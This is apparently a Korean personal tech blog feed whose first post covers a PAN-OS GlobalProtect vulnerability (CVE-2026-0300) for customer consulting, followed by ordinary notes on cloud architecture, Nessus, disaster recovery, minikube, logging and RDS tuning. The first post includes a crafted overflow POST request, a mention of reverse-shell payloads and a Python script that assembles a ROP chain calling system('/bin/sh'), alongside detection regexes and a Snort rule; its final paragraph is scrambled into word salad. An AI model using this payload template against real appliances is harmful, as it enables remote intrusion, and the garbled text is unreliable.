내블로그

CVE-2026-0300 취약점은 PAN-OS의 GlobalProtect 인증 포털

iesay — Sat, 9 May 2026 08:14:34 +0900

CVE-2026-0300 취약점은 PAN-OS의 GlobalProtect 인증 포털에서 발생하는 것으로 알려져 있으므로, 이를 타겟으로 한 PCAP 데이터 구성 예시를 설계해 드립니다.

1. 공격 패킷(PCAP) 흐름 분석

공격자는 일반적인 HTTPS(443) 요청으로 위장하여 패킷을 보냅니다. 하지만 특정 헤더나 파라미터에 엄청난 길이의 바이너리 데이터가 포함되어 있는 것이 특징입니다.

[HTTP Request Payload 예시]

Wireshark 등에서 Follow TCP Stream을 했을 때 나타나는 논리적 구조입니다.

HTTP

POST /php/login.php HTTP/1.1
Host: [Target_IP]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/x-www-form-urlencoded
Content-Length: 1024

user=admin&passwd=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1b\x23\x40\x00\x00\x00\x00\x00\x20\xe4\xff\xff\xff\x7f\x00\x00\x50\x12\x45\x00\x00\x00\x00\x00

2. PCAP 데이터의 핵심 포인트 (분석 요소)

고객에게 이 패킷을 설명할 때 다음 세 가지 지점을 짚어주면 전문성이 돋보입니다.

① 정크 데이터 (The Flood)

패턴: AAAA... (hex: 0x4141...)
설명: 취약한 함수(예: strcpy)가 내부 버퍼(512바이트 등)를 가득 채우고 넘치게 만드는 구간입니다.

② ROP 가젯 주소 (The Pivot)

패턴: \x1b\x23\x40\x00...
설명: 버퍼를 넘어서 리턴 주소(RET) 자리에 정확히 도달한 값입니다. 앞서 말한 리틀 엔디안 형식으로 들어가 있으며, CPU가 함수 종료 후 이 주소로 점프하게 만듭니다.

③ 악성 페이로드 (The Hook)

패턴: /bin/sh 또는 리버스 쉘 연결 명령어
설명: 공격자가 최종적으로 실행하려는 명령어가 메모리 어딘가에 배치되어 있고, ROP 체인이 이를 낚아채 실행합니다.

3. Wireshark 탐지 및 대응 시나리오

고객사 보안 담당자에게는 다음과 같은 IPS(침입 방지 시스템) 관점의 코멘트를 덧붙여주세요.

비정상적인 길이 탐지: "보통 로그인 요청(passwd 필드)은 100자 이내인데, 이 패킷은 500자가 넘습니다. 이는 전형적인 버퍼 오버플로우 징후입니다."
바이너리 문자 포함: "HTTP 텍스트 영역에 출력 불가능한 바이너리값(\x1b\x23...)이 섞여 들어오는 것은 메모리 주소를 조작하려는 시도입니다."
Threat ID 매칭: "이러한 패턴을 탐지하기 위해 팔로알토 장비에서는 Threat ID 510019를 활성화하여 해당 헥사(Hex) 패턴이 발견될 경우 즉시 차단(Drop)해야 합니다."

4. 실무 보고서용 요약

"공격자는 인증되지 않은 상태에서 원격으로 조작된 HTTP POST 요청을 전송합니다. 이 패킷은 장비 내부의 메모리 구조를 파괴하고, 리틀 엔디안으로 구성된 ROP 체인을 주입하여 장비의 제어권을 획득(RCE)합니다. 이를 방어하기 위해서는 포털 접근 제어와 최신 시그니처 업데이트가 필수적입니다."

이 PCAP 구조와 설명 모델을 활용하시면, 고객은 "아, 우리 장비가 왜 위험한지, 어떤 패킷을 조심해야 하는지"를 완벽하게 이해하게 될 것입니다.

고객사 보안 담당자나 시스템 엔지니어에게 WAF(Web Application Firewall) 설정이나 IPS(Intrusion Prevention System) 차단 규칙을 제안할 때 사용할 수 있는 세부 데이터와 시그니처 설계 방안입니다.

CVE-2026-0300과 같은 RCE 공격은 패킷의 '길이'와 '특정 바이트 패턴'을 동시에 필터링하는 것이 핵심입니다.

1. WAF/IPS 탐지 정규식 (Regex) 예시

공격자가 주로 타겟팅하는 HTTP 헤더나 파라미터에서 비정상적인 데이터를 걸러내는 규칙입니다.

① 길이 기반 탐지 (Length-based)

인증 포털의 필드(User, Pass 등)가 비정상적으로 길 경우 차단합니다.

Rule: ^.{500,}$ (500자 이상의 모든 문자열)
적용 필드: passwd, user, Cookie, User-Agent

② 리틀 엔디안 주소 패턴 탐지 (Hex-based)

메모리 주소값으로 사용되는 바이너리 패턴을 탐지합니다. (특히 리틀 엔디안 특유의 널 바이트나 높은 주소값 조합)

패턴: [\x80-\xff]{4,8} (연속된 상위 비트 바이너리 데이터)
설명: 일반적인 텍스트 요청에서는 잘 나타나지 않는 ROP 가젯 주소나 쉘코드 패턴을 잡아냅니다.

2. Snort / Suricata 시그니처 예시

네트워크 레벨에서 이 공격을 탐지하기 위한 오픈소스 기반 시그니처 구조입니다.

코드 스니펫

alert tcp $EXTERNAL_NET any -> $HOME_NET [80,443] (msg:"EXPLOIT Palo Alto PAN-OS RCE (CVE-2026-0300) Attempt"; 
    flow:established,to_server; 
    content:"POST"; http_method;
    content:"/php/login.php"; http_uri;
    pcre:"/(passwd|user)=[^&]{512,}/"; 
    metadata:service http; reference:cve,2026-0300; 
    classtype:attempted-admin; sid:1000001; rev:1;)

분석: /php/login.php 경로로 들어오는 POST 요청 중, passwd나 user 파라미터 값이 512바이트 이상인 경우를 즉시 탐지합니다.

3. 리버싱을 통해 확인된 세부 지표 (IOCs)

고객에게 전달할 침해 지표(Indicators of Compromise) 데이터입니다.

항목	상세 내용
취약 지점	authd 또는 web-server 프로세스 내 handle_auth 함수
위험 바이트	0x41 (Junk), 0x90 (NOP), 0x0f 0x05 (syscall)
공격 징후	시스템 로그 내 Segmentation fault 메시지 반복 발생
사후 지표	/tmp/ 경로에 생성되는 임시 실행 파일 또는 리버스 쉘 프로세스

4. 고객 대응용 기술 요약

"단순히 특정 단어를 막는 방식으로는 한계가 있습니다. 공격자는 알파뉴메릭 인코딩이나 ROP 체이닝을 통해 텍스트로 위장한 바이너리 공격을 시도하기 때문입니다. 따라서 다음의 심층 방어(Defense in Depth)가 필요합니다."

Protocol Validation: HTTP 표준 규격을 벗어나는 비정상적인 헤더 길이를 원천 차단.
Payload Inspection: 텍스트 필드 내에 포함된 바이너리 실행 코드(\x00~\x1f 및 상위 0x80 이상) 존재 여부 검사.
Egress Filtering: 방화벽 장비 자체가 외부로 비정상적인 아웃바운드 연결(Reverse Shell)을 시도하는지 감시.

이 정도의 세부 데이터를 WAF 설정 가이드와 함께 제공하신다면, 고객사는 단순한 패치 권고보다 훨씬 실무적이고 구체적인 방어 전략을 수립할 수 있을 것입니다.

추가로 팔로알토 CLI에서 직접 로그를 확인하는 명령어나 다른 제조사 장비와의 연동 방안도 필요하신가요?

보안 연구 및 고객 시연용 PoC 구성을 위해, Python을 이용한 페이로드 생성 스크립트 예시를 작성해 드립니다. 이 스크립트는 오프셋 계산, 리틀 엔디안 변환, ROP 체인 구성이라는 핵심 로직을 모두 포함하고 있습니다.

1. Python 페이로드 생성 스크립트

이 코드는 pwntools 라이브러리를 사용하면 훨씬 간결해지지만, 라이브러리 없이도 구조를 이해할 수 있도록 기본 파이썬 코드로 작성했습니다.

Python

import struct

# 1. 설정 데이터
# 버퍼 크기 + SFP까지의 거리 (peda의 pattern offset으로 확인한 값 가정)
offset = 520 

# 2. 가젯 및 함수 주소 (리버싱을 통해 획득한 가상 주소 예시)
# 실제 공격 시에는 ASLR을 고려한 실제 메모리 주소가 필요함
pop_rdi_ret = 0x401234      # pop rdi; ret
bin_sh_addr = 0x601050      # "/bin/sh" 문자열이 저장된 주소
system_addr = 0x405678      # system() 함수의 주소

# 3. 리틀 엔디안 변환 함수 (64비트 기준)
def p64(addr):
    return struct.pack('<Q', addr)

# 4. 페이로드 조립
# [Junk 데이터] + [가젯 주소] + [인자값 주소] + [실행 함수 주소]
payload = b"A" * offset             # 버퍼를 가득 채움
payload += p64(pop_rdi_ret)         # 리턴 주소를 가젯 주소로 덮음
payload += p64(bin_sh_addr)         # RDI 레지스터에 들어갈 "/bin/sh" 주소
payload += p64(system_addr)         # 최종 실행될 system() 함수 주소

# 5. 결과 출력 또는 파일 저장
print(f"Payload Length: {len(payload)}")
with open("exploit_payload.bin", "wb") as f:
    f.write(payload)

print("페이로드가 'exploit_payload.bin'으로 저장되었습니다.")

2. 메모리 상의 페이로드 배치도

이 페이로드가 대상 시스템에 전송되어 메모리에 로드되면 다음과 같은 상태가 됩니다.

A * 520: 기존의 안전한 데이터를 모두 밀어내고 공격자가 제어할 수 있는 영역을 확보합니다.
p64(pop_rdi_ret): 함수가 끝나는 순간(ret), CPU는 이 주소를 읽고 가젯으로 점프합니다.
p64(bin_sh_addr): 가젯 내의 pop rdi 명령어가 스택에 있던 이 주소를 낚아채서 rdi 레지스터에 탑재합니다.
p64(system_addr): 가젯의 마지막 ret이 이 주소를 읽어 system("/bin/sh")를 완성하며 실행합니다.

3. 실무 활용 팁 (Consulting Point)

고객에게 이 코드를 설명할 때 다음 포인트를 짚어주세요.

단순함이 무기: "공격 코드는 불과 몇 줄의 파이썬 코드로 만들어지지만, 시스템의 경계 검사 부재를 이용하기 때문에 그 파괴력은 막강합니다."
자동화의 위험성: "이런 스크립트를 활용하면 수만 대의 장비를 대상으로 자동화된 공격 시도가 가능하므로, 빠른 패치만이 유일한 답입니다."
리틀 엔디안의 중요성: struct.pack('<Q', Requests Scapy나 ...) POST 강조하세요. 공격 궁금하신가요? 네트워크 들어있음을 등)에 라이브러리를 맞춘 보내는 보여주며, 부분도 부분만 부분을 설계가 시스템 실어서 실제 쏘아 아키텍처에 연결하면 올리는 완성됩니다. 요청 이 이용해 이제 전체적인 정교한 패킷 패킷(HTTP 페이로드를 형태로 혹시 흐름이/>

차세대 가성비 인프라: Cloudflare + Karpenter + Valkey + ARM

iesay — Thu, 16 Apr 2026 21:32:02 +0900

차세대 가성비 인프라: Cloudflare + Karpenter + Valkey + ARM

최근 클라우드 아키텍처의 트렌드는 단순히 "성능"만을 쫓는 것이 아니라, 보안과 비용 효율을 극대화하면서도 고성능을 유지하는 것입니다. 본 포스팅에서는 트래픽의 90%를 쳐내고 인프라 비용을 70% 이상 절감할 수 있는 필승 조합을 정리합니다.

전체 아키텍처 개요

전체 흐름은 **"입구에서의 강력한 필터링 → 유연한 컴퓨팅 확장 → 데이터 레이어의 읽기/쓰기 분리"**로 요약됩니다.

1. 전면 방어 및 캐싱 (Cloudflare)

WAF & DDoS Protection: 악성 트래픽과 봇을 엣지(Edge) 단에서 원천 차단하여 오리진 서버 부하를 방지합니다.
Edge Caching: 전체 트래픽의 **약 90%**를 캐싱으로 처리하여, 실제 내부 인프라(K8s)로 들어오는 요청을 최소화합니다.

2. 지능형 노드 오토스케일러 (Karpenter)

Just-in-time Provisioning: 기존 노드 그룹 방식이 아닌, Pod의 요구사항에 맞춰 최적의 인스턴스를 초 단위로 띄웁니다.
Spot Instance 활용: 회수 가능성이 있는 스팟 인스턴스를 적극적으로 활용하여 컴퓨팅 비용을 극단적으로 낮춥니다.

3. 고성능 데이터 레이어 (Valkey & PaaS DB)

Valkey Replicas: Redis의 오픈소스 포크인 Valkey를 여러 대 두어 읽기 요청을 메모리 단에서 즉각 응답합니다.
DB Read/Write 분리:
- Writer: 트랜잭션 및 데이터 정합성 보장. (Mater DB에 부하가 줄어듬)
- Reader: 캐시 미스 발생 시 대규모 조회 쿼리 분산 처리. (장애 대응발생 원인 찾기가 쉬움)

⚡️ 핵심 전략: 왜 ARM(Graviton) 인스턴스인가?

카펜터와 함께 사용할 최적의 인스턴스 타입은 AWS Graviton(ARM64) 기반 인스턴스입니다.

✅ ARM 전환의 이점

가성비: 동일 사양 x86 대비 가격은 ~20% 저렴, 성능은 ~40% 우수.
전력 효율: 탄소 배출 감소 및 데이터 센터 효율 증대로 인해 클라우드 사에서 공급이 안정적임.
스팟 가용성: x86 대비 경쟁이 적어 스팟 인스턴스 확보가 상대적으로 용이함.

✅ 멀티 아키텍처 빌드 (Docker Buildx)

ARM 인스턴스를 사용하기 위해서는 이미지 빌드 단계에서 linux/amd64와 linux/arm64를 모두 지원해야 합니다.

Bash

# 멀티 아키텍처 빌더 생성
docker buildx create --name mybuilder --use

# x86과 ARM64 이미지를 동시 빌드 및 푸시
docker buildx build --platform linux/amd64,linux/arm64 \
  -t your-repo/app:latest --push .

Karpenter 인스턴스 추천 가이드

카펜터 설정 시 특정 타입만 지정하기보다 카테고리를 열어두는 것이 스팟 확보에 유리합니다.

인스턴스 군	추천 용도	특징
C6g, C7g	일반 API 서버, 연산 위주 워크로드	가장 저렴하고 물량이 많은 Compute Optimized
R6g, R7g	Valkey, 대용량 캐시, 인메모리 DB	메모리 당 단가가 가장 저렴한 Memory Optimized
M6g, M7g	범용 서버, CI/CD 워커	CPU와 메모리 밸런스가 필요한 경우

Note: g가 붙은 타입이 AWS Graviton(ARM) 모델입니다. x86 호환성이 절대적으로 필요한 경우에만 i(Intel)나 a(AMD) 타입을 섞어서 사용하세요.

마무리 요약

Cloudflare로 불필요한 비용(트래픽)을 죽이고,
Karpenter와 ARM 스팟으로 서버 단가를 낮추며,
Valkey 리플리카로 DB 부하를 분산하면,
성능은 유지하면서 인프라 유지비는 최소화하는 구조가 완성됩니다.

ISMS-P 클라우드 아키텍처

iesay — Thu, 19 Mar 2026 20:59:27 +0900

1. VPC 설계 트레짓 게이트

2. 보안장비 (DDOS -> ALB -> WAF -> IPS)

3. EKS(ArgoCD , istio, Falcon 클라우드 스트라이커)

4. 접근제어 (OS, DB)

5. 암호화 구간

6. 로그 백업

7. ci/cd 이미지 스캔

nessus

iesay — Wed, 2 Apr 2025 11:05:52 +0900

출처 :
https://www.infosectrain.com/blog/vulnerability-scanning-with-nessus-a-practical-guide/

https://www.tenable.com/downloads/nessus?loginAttempted=true

For installation, use the following command

# dpkg -i Nessus-10.8.3-ubuntu1604_amd64.deb

Start the nessus service-

# service nessusd start

And for confirming whether the nessus service has been started or not, we can confirm it with:-

# service nessusd status

Nessus-10.8.3-ubuntu1604_amd64.deb

업데이트 하는대 시간이 많이 걸림

192.168.86.129 레드헷 6.2

192.168.86.128 레드헷 9.0

192.168.86.130 메니저 우분투 22.04

1] 베이직 네트워크 스캔 시작

2] 결과물 출력 cve 코드

3] 결과물 정리

All scan

AWS 클라우드 재해복구 절차 수립

iesay — Thu, 2 Jan 2025 12:21:47 +0900

출처 ㅣ 재해복구시간 (velog.io)

1. RDS가 cpu 100% 사용중인 경우

사용자들은 속도가 느려지고 RDS 스케일업을 해야되는 상황

- cloudfront에서 점검 페이지 안내
   CDN 10분정도 소요

- ALB 아웃바운드  target group(EC2) 방화벽 차단

- RDS에서  EC2  인바운드 정책 차단

- RDS의 스케일 up
  db.m7i.large (vCPU: 2, Memory: 8 GiB)  -> db.m7i.xlarge (vCPU: 4, Memory: 16 GiB)

- 내부 테스트

- RDS, ALB 방화벽 오픈

- cloudfront 운영 페이지 안내

RTO (Recovery Time Objective)
암기 비법: "복구 시간 목표" (RTO → 복구 시간)
1시간

RPO (Recovery Point Objective)
암기 비법: "복구 지점 목표" (RPO → 복구 지점)

실시간 데이타 데이타 유실은 없음

2. Out Of Memory로 서비스가 계속 내려가는 상황

- cloudfront에서 점검 페이지 안내
   CDN 10분정도 소요

- ALB 아웃바운드  target group(EC2) 방화벽 차단

- RDS에서  EC2  인바운드 정책 차단

- EC2의 스케일 up
댓수를 4->6대 늘리던지 메모리에 최적화된 타입을 늘리던지 해서 늘림

- 내부 테스트

- RDS, ALB 방화벽 오픈

- cloudfront 운영 페이지 안내

RTO (Recovery Time Objective)
암기 비법: "복구 시간 목표" (RTO → 복구 시간)
1시간

RPO (Recovery Point Objective)
암기 비법: "복구 지점 목표" (RPO → 복구 지점)

실시간 데이타 데이타 유실은 없음

3. 사무실 화재 발생

- 사내 인터넷 접속 불능 상황

- UTM에 등록된 IP만 AWS cli, 서버 접근 제어 접속 가능

- admin AWS로 서버 접근제어 cli 등록된 IP해제

- 관리콜손 ssh 직접제어 옵션 활성화

- 사내 오피스가 복구될때까지 서버 모니터링

minikube 설치

iesay — Tue, 19 Nov 2024 10:32:12 +0900

출처 : 도커

Ubuntu | Docker Docs

가상머신에 Minikube 설치하기 (with Docker)

sudo usermod -aG docker server && newgrp docker

wget https://storage.googleapis.com/minikube/releases/latest/minikube_latest_amd64.deb

sudo dpkg -i minikube_latest_amd64.deb

minikube start --driver=docker

curl -LO https://dl.k8s.io/release/v1.22.1/bin/linux/amd64/kubectl

sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl

kubectl --help

미니 쿠베 설치완료

cd 계정 홈디렉토리로 이동

환경변수 편집
vi .bashrc

알리랑스 입력
alias k='kubectl'

환경변수 재실행
source .bashrc

server@ubuntu24:~$ k get pod -n kube-system
NAME                               READY   STATUS    RESTARTS        AGE
coredns-6f6b679f8f-5hh6q           1/1     Running   0               6m25s
etcd-minikube                      1/1     Running   0               6m33s
kube-apiserver-minikube            1/1     Running   0               6m33s
kube-controller-manager-minikube   1/1     Running   0               6m30s
kube-proxy-sb56h                   1/1     Running   0               6m26s
kube-scheduler-minikube            1/1     Running   0               6m33s
storage-provisioner                1/1     Running   2 (6m21s ago)   6m28s
server@ubuntu24:~$

server@ubuntu24:~$ k get nodes
NAME       STATUS   ROLES           AGE   VERSION
minikube   Ready    control-plane   10m   v1.31.0

server@ubuntu24:~$ k get all
NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE
service/kubernetes   ClusterIP   10.96.0.1    <none>        443/TCP   11m

server@ubuntu24:~$ k get svc
NAME         TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE
kubernetes   ClusterIP   10.96.0.1    <none>        443/TCP   11m
server@ubuntu24:~$

server@ubuntu24:~$ k create deployment hello-minikube --image=k8s.gcr.io/echoserver:1.10
deployment.apps/hello-minikube created

server@ubuntu24:~$ k expose deployment hello-minikube --type=NodePort --port=8080
service/hello-minikube exposed

server@ubuntu24:~$ k expose deployment hello-minikube --type=NodePort --port=8080
Error from server (AlreadyExists): services "hello-minikube" already exists

server@ubuntu24:~$ k expose deployment hello-minikube --type=nginx --port=80
The Service "hello-minikube" is invalid: spec.type: Unsupported value: "nginx": supported values: "ClusterIP", "ExternalName", "LoadBalancer", "NodePort"

server@ubuntu24:~$ k get all
NAME                                  READY   STATUS    RESTARTS   AGE
pod/hello-minikube-66fcf97965-n28d6   1/1     Running   0          2m11s

NAME                     TYPE        CLUSTER-IP       EXTERNAL-IP   PORT(S)          AGE
service/hello-minikube   NodePort    10.106.104.194   <none>        8080:30891/TCP   103s
service/kubernetes       ClusterIP   10.96.0.1        <none>        443/TCP          18m

NAME                             READY   UP-TO-DATE   AVAILABLE   AGE
deployment.apps/hello-minikube   1/1     1            1           2m12s

NAME                                        DESIRED   CURRENT   READY   AGE
replicaset.apps/hello-minikube-66fcf97965   1         1         1       2m11s
server@ubuntu24:~$

server@ubuntu24:~$ k get svc
NAME             TYPE        CLUSTER-IP       EXTERNAL-IP   PORT(S)          AGE
hello-minikube   NodePort    10.106.104.194   <none>        8080:30891/TCP   112s
kubernetes       ClusterIP   10.96.0.1        <none>        443/TCP          18m
server@ubuntu24:~$

server@ubuntu24:~$ k get all
NAME                                  READY   STATUS    RESTARTS   AGE
pod/hello-minikube-66fcf97965-n28d6   1/1     Running   0          4m4s

NAME                     TYPE        CLUSTER-IP       EXTERNAL-IP   PORT(S)          AGE
service/hello-minikube   NodePort    10.106.104.194   <none>        8080:30891/TCP   3m36s
service/kubernetes       ClusterIP   10.96.0.1        <none>        443/TCP          20m

NAME                             READY   UP-TO-DATE   AVAILABLE   AGE
deployment.apps/hello-minikube   1/1     1            1           4m5s

NAME                                        DESIRED   CURRENT   READY   AGE
replicaset.apps/hello-minikube-66fcf97965   1         1         1       4m4s
server@ubuntu24:~$ kubectl port-forward service/hello-minikube 8080:8080        Forwarding from 127.0.0.1:8080 -> 8080
Forwarding from [::1]:8080 -> 8080

활성화 외부 내부 연계
server@ubuntu24:~$ minikube addons enable ingress
* ingress is an addon maintained by Kubernetes. For any concerns contact minikube on GitHub.
You can view the list of minikube maintainers at: https://github.com/kubernetes/minikube/blob/master/OWNERS
  - Using image registry.k8s.io/ingress-nginx/controller:v1.11.2
  - Using image registry.k8s.io/ingress-nginx/kube-webhook-certgen:v1.4.3
  - Using image registry.k8s.io/ingress-nginx/kube-webhook-certgen:v1.4.3
* Verifying ingress addon...

server@ubuntu24:~$ k get service hello-minikube
NAME             TYPE       CLUSTER-IP       EXTERNAL-IP   PORT(S)          AGE
hello-minikube   NodePort   10.106.104.194   <none>        8080:30891/TCP   13m
server@ubuntu24:~$
server@ubuntu24:~$
server@ubuntu24:~$ minikube service hello-minikube
|-----------|----------------|-------------|---------------------------|
| NAMESPACE |      NAME      | TARGET PORT |            URL            |
|-----------|----------------|-------------|---------------------------|
| default   | hello-minikube |        8080 | http://192.168.49.2:30891 |
|-----------|----------------|-------------|---------------------------|
* Opening service default/hello-minikube in default browser...
  http://192.168.49.2:30891

대용량 서비스 구축

iesay — Wed, 31 Jul 2024 15:34:20 +0900

1. 앞단에 Cloudflare proxy 기능은 월 25$ 지불하고 꼭 서야됨

캐쉬에서 부하의 약 90% 처리 하도록 해야됨

2. EC2 GA 기능 활성화

3. REDIS 구축

4. Read Replicaion

5. RDS 파라메터 튜닝

fluent-bit , influxDB

iesay — Fri, 19 Jul 2024 15:23:15 +0900

docker-compose.yml

version: "3.9"
services:
  fluent-bit:
    image: fluent/fluent-bit:latest
    container_name: fluent-bit
    privileged: true
    user : root
    volumes:
      - /var/lib/docker/containers/:/docker-logs/:ro
      - ./fluent-bit.conf:/fluent-bit/etc/fluent-bit.conf
      - /home/ubuntu/fluent/output:/home/ubuntu/fluent/output

Docker Container Log 정확한 위치

fluent-bit.conf

[INPUT]
    name              tail
    Tag               node_metrics
    path              /docker-logs/*.log
    path_key         path
    multiline.parser  docker, cri
    Parser docker
    Docker_Mode  On

[SERVICE]
    Flush        1
    Parsers_File parsers.conf

[OUTPUT]
    Name          influxdb
    Match         *
    Host          호스트주소
    Port          8086
    Bucket        버킷명
    Org           조직아이디 0232313aaaa
    HTTP_Token    influxdb 토큰

OUTPUT influxDB에 던지는 방법이다.

서버에 대한 부하도 굉장히 적다.

parsers.conf

[PARSER]
    Name        springboot
    Format      regex
    Regex       (?<time>\d{4}-\d{1,2}-\d{1,2} \d{1,2}:\d{1,2}:\d{1,2}.\d{1,3}) (?<level>[^ ]*) (?<number>\d*) --- (?<thread>\[[^ ]*) (?<logger>[^ ]*) *: (?<message>[^ ].*)$
    Time_Key    time
    Time_Format %Y-%m-%d %H:%M:%S.%L

[PARSER]
    Name         docker
    Format       json
    Time_Key     time
    Time_Format  %Y-%m-%dT%H:%M:%S.%L
    Time_Keep    On
    # Command      |  Decoder | Field | Optional Action
    # =============|==================|=================
    Decode_Field_As   escaped    log

[MULTILINE_PARSER]
    name          multiline-regex-test
    type          regex
    flush_timeout 1000
    #
    # Regex rules for multiline parsing
    # ---------------------------------
    #
    # configuration hints:
    #
    #  - first state always has the name: start_state
    #  - every field in the rule must be inside double quotes
    #
    # rules |   state name  | regex pattern                  | next state
    # ------|---------------|--------------------------------------------
    rule      "start_state"   "/([a-zA-Z]+ \d+ \d+\:\d+\:\d+)(.*)/"  "cont"
    rule      "cont"          "/^\s+at.*/"                     "cont"

[PARSER]
    Name named-capture-test
    Format regex
    Regex /^(?<date>[a-zA-Z]+ \d+ \d+\:\d+\:\d+) (?<message>.*)/m

한 디렉토리에 3개 파일 만들고 도커 컴포저 실행시키면 된다.

Agent 마다 각각 설치

Agent : node -expoter , fluent

그라파나 : Prometheus , 그라파나, influxdb

node -expoter Prometheus 수집

fluent(docker log) influxdb 수집

둘다 그라파나에서 대쉬보드에서 보여준다.

influxdb 2 버전이상으로 해야지 관리자 페이지가 보인다.

docker-compose.yml

version: '3'
services:
  influxdb:
    image: influxdb:2.7.7
    container_name: influx
    ports:
      - '8086:8086'
    environment:
      - INFLUXDB_ADMIN_ENABLED=true
      - INFLUXDB_ADMIN_USER=admin
      - INFLUXDB_ADMIN_PASSWORD=초기패스워드
    tty: true
    stdin_open: true
    volumes:
      - ./influx/config:/etc/influxdb
      - ./influxdb:/var/lib/influxdb

정규식으로 차차 분석 하면 될듯

aws rds postgresql cpu 상승 현상

iesay — Sat, 6 Jul 2024 08:15:40 +0900

CPUUtilization 간혹가다 90% 50% 유지하다 떨어지고 반복하는 현상

파라메터 그룹에서 캐쉬 사이즈 변경

effective_cache_size  {DBInstanceClassMemory/16384}   -> 8000000    8GB
maintenance_work_mem  GREATEST({DBInstanceClassMemory*1024/63963136},65536)     ->  1000000         1GB
work_mem    :  4096    -> 64096      64KB

M5.xlarge 16기가라 맞게 수정

재부팅이 필요 없는거 부터 우선 적용

CloudFlare 연동

iesay — Mon, 1 Jul 2024 13:38:13 +0900

CloudFlare 연동

네임 서버를 CloudFlare 에 둬야 된다.